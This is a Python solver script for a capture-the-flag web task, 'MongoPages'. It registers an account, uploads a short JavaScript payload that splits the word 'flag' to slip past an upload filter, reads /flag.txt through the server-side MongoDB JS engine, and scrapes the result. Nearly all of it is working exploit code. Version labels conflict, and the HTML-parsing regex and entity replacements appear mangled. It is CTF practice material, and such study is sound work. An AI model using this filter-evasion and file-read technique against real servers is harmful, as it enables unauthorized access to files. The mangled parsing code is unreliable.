#!/usr/bin/env python3 """ Solver for the "MongoPages" CTF task, v3 (CVE-2026-13078). Usage: python solve.py http://:8080 The only required argument is the task URL. The script will: 1. Register a fresh account on the web app and log in. 2. Upload pwn.js - a tiny script the platform evaluates inside the MongoDB server-side JS sandbox (MozJS). Every uploaded .js is executed; its exports are rendered in the (private) page preview as JSON. 3. The payload uses top-level await + dynamic import() with a concatenated path to slip past the upload security filter (which rejects the literal substring "flag") and reads /flag.txt, which is itself a valid ES module: export const flag = "m0zjs_..."; 4. Fetch the rendered page (/pages// on the same origin) with the session cookie (pages are private to their owner) and extract the flag value from the rendered exports JSON. 5. Print caplag{}. Requires: pip install requests """ import argparse import json import random import re import string import sys from urllib.parse import urlparse import requests # 60 bytes, no "flag" substring, fits the 100-byte limit. # TLA: import() resolves only after the imported module is evaluated, # so the export value is available synchronously on the namespace object. PAYLOAD = 'export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"];' def rand_name(prefix: str, n: int = 8) -> str: return prefix + "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) def main() -> int: ap = argparse.ArgumentParser(description="MongoPages v2 task solver (CVE-2026-13078)") ap.add_argument("url", help="task URL, e.g. http://localhost:8080") args = ap.parse_args() base = args.url.rstrip("/") host = urlparse(base).hostname if not host: print("[-] could not parse host from URL") return 1 username = rand_name("solver") password = rand_name("Pw", 16) s = requests.Session() # 1. register (retry a few times in case of a username collision) r = None for _ in range(5): r = s.post(f"{base}/register", data={"username": username, "password": password}) if r.status_code in (200, 302): break username = rand_name("solver") else: print(f"[-] registration failed: {r.status_code} {r.text[:200]}") return 1 print(f"[+] registered: {username}:{password}") # 2. login r = s.post(f"{base}/login", data={"username": username, "password": password}, allow_redirects=False) if r.status_code not in (200, 302): print(f"[-] login failed: {r.status_code} {r.text[:200]}") return 1 print("[+] logged in") # 3. upload the malicious script (any .js is executed server-side) assert len(PAYLOAD.encode()) <= 100 and "flag" not in PAYLOAD.lower() r = s.post(f"{base}/upload", files={"file": ("pwn.js", PAYLOAD, "application/javascript")}, allow_redirects=False) if r.status_code not in (200, 302): print(f"[-] upload failed: {r.status_code} {r.text[:200]}") return 1 print(f"[+] uploaded pwn.js ({len(PAYLOAD.encode())} bytes): {PAYLOAD}") # 4. fetch the rendered page with our session cookie (pages are private) - # the platform evaluates every .js in mongod's JS engine and embeds # the module exports as JSON r = s.get(f"{base}/pages/{username}/") if r.status_code != 200: print(f"[-] page fetch failed: {r.status_code}") return 1 m = re.search(r"
(.*?)
", r.text, re.S) if not m: print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}") return 1 try: exports = json.loads(m.group(1).replace(""", '"').replace("&", "&") .replace("<", "<").replace(">", ">").replace("'", "'")) except json.JSONDecodeError as e: print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}") return 1 print(f"[+] module exports: {exports}") # 5. extract the flag value value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None) if not value: print("[-] no flag-like string in the exports") return 1 print(f"\n[FLAG] caplag{{{value}}}") return 0 if __name__ == "__main__": sys.exit(main())